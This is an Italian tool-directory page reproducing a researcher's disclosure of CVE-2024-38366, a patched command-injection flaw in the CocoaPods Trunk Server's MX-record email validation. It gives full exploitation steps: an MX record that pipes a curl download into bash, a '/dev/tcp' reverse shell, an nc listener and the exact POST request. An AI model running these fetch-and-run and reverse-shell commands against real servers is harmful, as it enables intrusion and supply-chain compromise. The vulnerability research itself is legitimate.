Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CocoaPods-RCE_CVE-2024-38366 — Vulnerabilità RCE di CocoaPods CVE-2024-38366 | Kitploit
Strumenti/GitHubGitHub/reefspek/cocoapods-rce_cve-2024-38366
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlSicurezza della Supply ChainStrumento di Accesso RemotoSviluppo Payload

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
reefspek/cocoapods-rce_cve-2024-38366

CocoaPods-RCE_CVE-2024-38366

Vulnerabilità RCE di CocoaPods CVE-2024-38366

Vedi Repository
12 anni faNon ancora revisionato

CocoaPods-RCE

Questo repository include un approfondimento sul processo di ricerca e sulle riflessioni alla base della vulnerabilità RCE scoperta durante la ricerca e l'analisi del CocoaPods Package Manager.

Il post del blog con la pubblicazione della ricerca può essere letto qui: https://www.evasec.io/blog/eva-discovered-supply-chain-vulnerabities-in-cocoapods

Contesto della Ricerca

Il CocoaPods Trunk Server funge da repository centralizzato e piattaforma di distribuzione per CocoaPods, librerie essenziali e framework utilizzati nell'ecosistema Apple, in particolare per lo sviluppo iOS e macOS. Il suo scopo principale è facilitare la condivisione e la gestione senza attriti di queste risorse open-source.

Il processo di registrazione degli sviluppatori presso il CocoaPods Trunk Server prevede i seguenti passaggi per garantire la sicurezza della piattaforma:

  • Gli sviluppatori iniziano fornendo la propria email, il nome e una descrizione dell'account.
  • Il server verifica quindi l'unicità dell'email e controlla che segua il formato corretto secondo lo standard RFC822 (utilizzando espressioni regolari).
  • Esamina i record Mail Exchanger (MX) del dominio dell'indirizzo email per confermarne la validità.
  • Se tutto è in ordine, l'account dello sviluppatore viene creato, consentendogli di accedere al server Trunk e di gestire i pacchetti CocoaPod posseduti.

Versioni Testate

L'ultima release di trunk.cocoapods.org (ramo master) è stata testata e validata nell'ambiente di produzione al momento della ricerca. La vulnerabilità è stata da allora corretta tramite patch e non è più sfruttabile.

Causa Principale

La causa principale della vulnerabilità risiede nella verifica insufficiente del passo di validazione del dominio dell'indirizzo email (durante il processo di registrazione dello sviluppatore) e nell'esecuzione non sicura dei comandi. Nello specifico, un attaccante può manipolare l'input in modo tale da bypassare la validazione dei record Mail Exchanger (MX) del dominio, ottenendo la capacità di iniettare ed eseguire comandi OS arbitrari sul server Trunk.
Questa situazione rappresenta una grave minaccia per la sicurezza della piattaforma, poiché consente a soggetti non autorizzati di compromettere potenzialmente l'integrità del server, la riservatezza dei dati memorizzati e di interromperne le operazioni.

Flusso del Codice

APP/CONTROLLERS/APP_CONTROLLER.RB

Il file App Controller definisce gli endpoint API del server Trunk, inclusa la SessionsContoller, servita tramite il percorso /api/v1/sessions.


APP/CONTROLLERS/API/SESSIONS_CONTROLLER.RB

Per generare una nuova sessione, il file Session Controller espone l'endpoint API HTTP POST – /api/v1/sessions.

L'endpoint elabora i dettagli di registrazione forniti dall'utente, inclusi i parametri "email", "name" e "description". Successivamente, chiama il metodo Owner.find_or_initialize_by_email_and_name.

La chiamata alla funzione include i valori dei parametri "email" e "name".


APP/MODELS/OWNER.RB

Il file Owner Model definisce il metodo find_or_initialize_by_email_and_name che verifica se l'email fornita esiste. In caso contrario, crea un nuovo oggetto Owner utilizzando i parametri sopra menzionati.

Non appena l'oggetto viene creato, e prima di memorizzarlo nel database, il framework Sequel esegue il metodo validate. Questo metodo include molteplici validazioni, presenti nel pacchetto RFC-822.

Ci siamo concentrati sull'esecuzione del metodo validates_mx_record, che utilizza il pacchetto RFC-822.


RFC-822/LIB/RFC822.RB

La libreria implementa il metodo mx_records per verificare se il dominio fornito è valido. Inoltre, implementa una validazione della reattività dei record MX utilizzando il comando host.

Il metodo confronta prima l'intero indirizzo email con il pattern Regex definito – verifica se l'email fornita corrisponde al pattern. Se il pattern non corrisponde, il metodo restituisce un valore vuoto e non procede ai controlli attivi tramite il comando host.

Il metodo mx_records chiama quindi il metodo raw_mx_records che manipola il valore dell'email – estrae solo la parte del dominio (tutto ciò che segue l'ultimo ‘@’) – e chiama il metodo host_mx utilizzando il dominio ripulito come valore del proprio parametro.

Il metodo host_mx esegue un comando OS arbitrario, concatenandolo con il dominio dell'email fornita dall'utente. Il comando finale eseguito è il seguente:
/usr/bin/env host -t MX <DOMAIN>

Sfruttamento

L'OSTACOLO

Per avviare lo sfruttamento della vulnerabilità, abbiamo effettuato una richiesta HTTP POST all'endpoint API /api/v1/sessions. Nel corpo della richiesta, abbiamo fornito un input manipolato.

L'obiettivo principale era innescare il processo di validazione dei record MX, che avrebbe infine portato alla valutazione ed esecuzione del nostro input utente malevolo, con conseguente esecuzione di comandi OS sul server trunk.

Per raggiungere il nostro obiettivo e stabilire una reverse shell completamente interattiva, abbiamo dovuto superare alcune sfide:

  • Conversione in minuscolo: La prima sfida derivava dal fatto che l'indirizzo email fornito dall'utente viene convertito in minuscolo utilizzando il metodo owner.rb/normalize_email. Di conseguenza, un payload semplicistico come reef<span>@evasec.io|curl{IFS}evasec.io non sarebbe efficace, poiché il server lo elaborerebbe in minuscolo.
    Nota: Il IFS verrebbe convertito in ifs e non verrebbe utilizzato come separatore.
  • Validazione del pattern Regex: Le funzioni della libreria RFC822 contengono una validazione che utilizza un pattern regex definito. Questa validazione rappresentava un ostacolo significativo, poiché un payload come reef<span>@evasec.io|{curl,evasec.io} non funzionerebbe a causa della presenza dei seguenti caratteri che la libreria eliminerebbe:
    • "“ “" (space)
    • "
    • ()
    • .
    • ,
    • <>
    • @
    • []

LA SVOLTA

Per portare a termine la nostra missione, dovevamo superare il muro in cui ci eravamo imbattuti.
Abbiamo scoperto che il comando /usr/bin/env host -t MX <DOMAIN> fornisce un output che possiamo controllare, consentendoci di bypassare queste sfide.
L'output può essere sfruttato reindirizzandolo tramite pipe a un comando bash, creando un'opportunità per l'esecuzione di codice.
Ad esempio:

/usr/bin/env host -t MX <DOMAIN> | bash

Abbiamo manipolato un record MX sul nostro dominio, gestito tramite Route53 su AWS. Il record MX contiene la seguente stringa valida:

10 a||{curl, -s,http://serve.evasecresearch.com/payload.txt}|bash||.com


Obiettivo: Il payload creato era stato impostato per essere eseguito durante la validazione del dominio tramite il comando host.

SPIEGAZIONE DELLO SFRUTTAMENTO AD ALTO LIVELLO

Per avviare l'esecuzione remota di codice, abbiamo invocato l'endpoint API POST /api/v1/sessions con il seguente payload:
anything<span>@owned.domain|bash
Dove il dominio "owned.domain" rappresenta il record MX creato malevolmente come descritto sopra.

PASSAGGI PER LA RIPRODUZIONE

  1. Preparare il server per il payload: configurare un web server per servire il file payload.txt, che contiene il codice da eseguire sul server Trunk.

    • Ad esempio:
      sh -i >& /dev/tcp/SERVER/1337 0>&1
  2. Creare un record MX malevolo: generare un nuovo record MX che includa un payload progettato per recuperare il payload preparato al passo 1 ed eseguirlo.

    • Ad esempio:
      10 a||{curl, -s,http://WEB_SERVER/payload.txt}|bash||.com
  3. Configurare il listener per la reverse shell: avviare un listener per la reverse shell, come netcat (nc), su una porta accessibile pubblicamente.

    • Ad esempio:
      nc -lvp 1337
  4. Eseguire la reverse shell: inviare una richiesta HTTP per attivare l'esecuzione della reverse shell, operazione che può essere effettuata utilizzando un comando curl.

    • curl -X $'POST' -H $'Host: trunk.cocoapods.org' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: CocoaPods/1.12.1' --data-binary $'{\"email\":\"name@MX_RECORD_DOMAIN|bash\",\"name\":\"Your Name\",\"description\":null}' $'https://trunk.cocoapods.org/api/v1/sessions'

ESECUZIONE

VIDEO COMPLETO DELLO SFRUTTAMENTO

exploit

Impatto dello Sfruttamento Riuscito

Nella nostra ricerca, abbiamo identificato una vulnerabilità di sicurezza critica all'interno del CocoaPods Trunk Server che consente l'esecuzione di comandi arbitrari del sistema operativo (Remote Code Execution completamente interattiva).

Se un attaccante non autorizzato compromettesse il server, potrebbe potenzialmente introdurre codice malevolo in librerie ampiamente utilizzate. Ciò potrebbe portare a gravi vulnerabilità di sicurezza in innumerevoli applicazioni iOS e macOS che dipendono da questi CocoaPods compromessi.

Inoltre, l'attaccante potrebbe manipolare le specifiche dei pod, interrompere la distribuzione di librerie legittime o causare disagi diffusi all'interno dell'ecosistema CocoaPods.

Scarica lo strumento